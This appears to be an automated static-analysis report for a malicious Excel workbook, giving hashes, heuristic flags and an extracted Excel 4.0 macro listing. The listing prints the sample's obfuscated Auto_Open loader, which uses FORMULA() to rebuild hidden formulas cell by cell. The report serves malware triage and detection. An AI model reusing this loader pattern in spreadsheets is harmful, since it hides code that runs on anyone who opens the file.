Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d87df3352401d9ea…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:29 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 523dc5f43c2d15b443e2c919ea4932e9 SHA-1: 7fc76be8c293358379ff50bf09ac5552fac3abb2 SHA-256: d87df3352401d9ea80f1fb494efc27b2b1baa051f633e123ac1155362f8617a5
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6586 bytes
SHA-256: cb8e304a33ad98db12dd8dc243b87dfe4074b9972a0e7de2627d93bef79e1b02
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'RkTvkaldFGnw') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HPZbbeKV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C156 
' 0018     20 LABEL : Cell Value, String Constant - BkvHr len=0 
' 0018     27 LABEL : Cell Value, String Constant - CLZgDfJEUFxt len=0 
' 0018     22 LABEL : Cell Value, String Constant - cmXAhYc len=0 
' 0018     23 LABEL : Cell Value, String Constant - cqlygxrt len=0 
' 0018     21 LABEL : Cell Value, String Constant - dEwROt len=0 
' 0018     21 LABEL : Cell Value, String Constant - EXwpWC len=0 
' 0018     25 LABEL : Cell Value, String Constant - hIWutfnlXe len=0 
' 0018     23 LABEL : Cell Value, String Constant - jyBBTHuk len=0 
' 0018     26 LABEL : Cell Value, String Constant - koNnyxFHstw len=0 
' 0018     26 LABEL : Cell Value, String Constant - lTgRsPlpFDK len=0 
' 0018     23 LABEL : Cell Value, String Constant - mhfnYXlI len=0 
' 0018     26 LABEL : Cell Value, String Constant - oofdUQdAFgj len=0 
' 0018     25 LABEL : Cell Value, String Constant - oOXfLlPQhL len=0 
' 0018     27 LABEL : Cell Value, String Constant - RkTvkaldFGnw len=0 
' 0018     25 LABEL : Cell Value, String Constant - RmWPeKfoYm len=0 
' 0018     21 LABEL : Cell Value, String Constant - RSNvmC len=0 
' 0018     24 LABEL : Cell Value, String Constant - tJeUctldF len=0 
' 0018     25 LABEL : Cell Value, String Constant - TSjhRrqcMW len=0 
' 0018     26 LABEL : Cell Value, String Constant - tymNbwLiKPM len=0 
' 0018     25 LABEL : Cell Value, String Constant - YUGHvBchaw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HPZbbeKV,C68,"SET.NAME("RkTvkaldFGnw",VALUE("0"))",""
'  HPZbbeKV,C70,"SET.NAME("koNnyxFHstw",RkTvkaldFGnw)",""
'  HPZbbeKV,C75,"SET.NAME("hIWutfnlXe",RkTvkaldFGnw)",""
'  HPZbbeKV,C78,"SET.NAME("mhfnYXlI",COUNTA(RmWPeKfoYm))",""
'  HPZbbeKV,C83,"SET.NAME("TSjhRrqcMW",COUNTA(cmXAhYc))",""
'  HPZbbeKV,C88,[],""
'  HPZbbeKV,C90,"SET.NAME("lTgRsPlpFDK","")",""
'  HPZbbeKV,C92,"koNnyxFHstw",""
'  HPZbbeKV,C94,"SET.NAME("YUGHvBchaw",HLOOKUP("*",RmWPeKfoYm,koNnyxFHstw,FALSE))",""
'  HPZbbeKV,C96,"RSNvmC",""
'  HPZbbeKV,C101,"SET.NAME("EXwpWC",RkTvkaldFGnw)",""
'  HPZbbeKV,C105,[],""
'  HPZbbeKV,C109,"EXwpWC",""
'  HPZbbeKV,C114,"oofdUQdAFgj",""
'  HPZbbeKV,C116,"cqlygxrt",""
'  HPZbbeKV,C118,"CLZgDfJEUFxt",""
'  HPZbbeKV,C121,"SET.NAME("jyBBTHuk",VALUE(HLOOKUP("*",cmXAhYc,CLZgDfJEUFxt,FALSE)))",""
'  HPZbbeKV,C123,"BkvHr",""
'  HPZbbeKV,C126,"lTgRsPlpFDK",""
'  HPZbbeKV,C131,"hIWutfnlXe",""
'  HPZbbeKV,C136,NEXT(),""
'  HPZbbeKV,C139,"tJeUctldF",""
'  HPZbbeKV,C144,"SET.NAME("f",INT(T(FORMULA(T(lTgRsPlpFDK)&"",""&T(tJeUctldF)))))",""
'  HPZbbeKV,C147,"oOXfLlPQhL",""
'  HPZbbeKV,C149,NEXT(),""
'  HPZbbeKV,C152,RETURN(),""
'  HPZbbeKV,C181,"SET.NAME("dEwROt",C68)",""
'  HPZbbeKV,C183,"RmWPeKfoYm",""
'  HPZbbeKV,C186,"SET.NAME("cmXAhYc",R44C15)",""
'  HPZbbeKV,C188,"SET.NAME("oOXfLlPQhL",197)",""
'  HPZbbeKV,C191,"SET.NAME("tymNbwLiKPM",3)",""
'  HPZbbeKV,C196,dEwROt(),""
'  HPZbbeKV,C197,HALT(),""